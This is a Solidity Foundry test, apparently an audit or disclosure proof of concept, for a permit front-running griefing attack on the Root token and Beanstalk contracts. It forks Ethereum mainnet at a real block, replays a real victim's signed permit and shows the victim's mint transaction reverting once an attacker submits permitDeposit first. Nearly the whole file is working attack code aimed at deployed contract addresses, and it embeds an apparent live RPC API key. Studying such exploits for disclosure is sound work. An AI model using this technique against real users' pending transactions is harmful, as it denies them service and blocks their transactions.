// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test} from "forge-std/Test.sol";
struct PermitParams {
uint256 value;
uint256 deadline;
uint8 v;
bytes32 r;
bytes32 s;
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
struct DepositTransfer {
address token;
uint32[] seasons;
uint256[] amounts;
}
interface IRootToken {
enum To {
EXTERNAL,
INTERNAL
}
function mintWithTokenPermit(
DepositTransfer[] calldata depositTransfers,
To mode,
uint256 minRootsOut,
address token,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
function mintWithTokensPermit(
DepositTransfer[] calldata depositTransfers,
To mode,
uint256 minRootsOut,
address[] calldata tokens,
uint256[] calldata values,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
}
interface IBeanstalk {
function permitDeposit(
address owner,
address spender,
address token,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external payable;
function DOMAIN_SEPARATOR() external view returns (bytes32);
function nonces(address owner) external view returns (uint256);
}
contract GreifingAttack is Test {
//I have selected following transactions as target transaction
//https://etherscan.io/tx/0x5648854a4a11529fd592df031ad6d6236b96931d2a8aa65b22c200270a9b6d37
//RPC URL
string RPC_URL = "https://eth-mainnet.g.alchemy.com/v2/vJ3Q8mtR-UO9lkEgOsK52kYahGCQI0uj";//Enter your RPC URL here
uint Block_Number = 16097474 - 1 ; //target transacion block Number
IRootToken public RootToken;
address public victim;
IBeanstalk BEANSTALK_ADDRESS;
bytes32 private constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
address public Bean = 0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab;
function setUp() public {
//fork the chain with block of victim's transaction
uint256 ForkId = vm.createFork(RPC_URL,Block_Number);
vm.selectFork(ForkId);
// vm.warp(1701986242);//to avoid revert due to deadline
//victim for target transaction
victim = 0xD441C97eF1458d847271f91714799007081494eF;
RootToken = IRootToken(0x77700005BEA4DE0A78b956517f099260C2CA9a26);
BEANSTALK_ADDRESS = IBeanstalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
}
function testGreifingAttack() public {
//the happy path
vm.startPrank(victim);
//preparing the arguments
uint32[] memory seasons = new uint32[](4);
seasons[0] = 8477;
seasons[1] = 8575;
seasons[2] = 8576;
seasons[3] = 8577;
uint256[] memory amounts = new uint256[](4);
amounts[0] = 5396;
amounts[1] = 102316818;
amounts[2] = 72451124;
amounts[3] = 37067810;
DepositTransfer[] memory depositTransfers = new DepositTransfer[](1);
depositTransfers[0].token = Bean ;
depositTransfers[0].seasons = seasons;
depositTransfers[0].amounts = amounts;
IRootToken.To mode = IRootToken.To(0);
uint minRootsOut = 200750505380238979935;
uint value = 211841148;
uint deadline = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
uint8 v = 28;
bytes32 r = 0xe1d8924c18342cea96f743339464eb8a5c5e5b3518f042114f6b071fc9cea774;
bytes32 s = 0x54fac46a364b1f8de73a3de500bd30ee0065c9c4986d153c07801b86d65209ce;
uint256 snapshot = vm.snapshot();
///the victim calls the mintWithTokenPermit function
//with the signed permit and it succeeds as expected
RootToken.mintWithTokenPermit(depositTransfers,mode,minRootsOut,Bean,value,deadline,v,r,s);
vm.stopPrank();
vm.revertTo(snapshot);
//the griefing attack
//before the victim's transaction gets accepted
//attackers sees the transaction in mempool and submits it themselves
BEANSTALK_ADDRESS.permitDeposit(victim, address(RootToken),Bean,value,deadline,v,r,s);
//this ends up increasing the victim nonce
//now when victim's mintWithTokenPermit() transaction gets accepted it fails
//because the nonce is already used
vm.startPrank(victim);
vm.expectRevert("Silo: permit invalid signature");
RootToken.mintWithTokenPermit(depositTransfers,mode,minRootsOut,address(BEANSTALK_ADDRESS),value,deadline,v,r,s);
vm.stopPrank();
}
}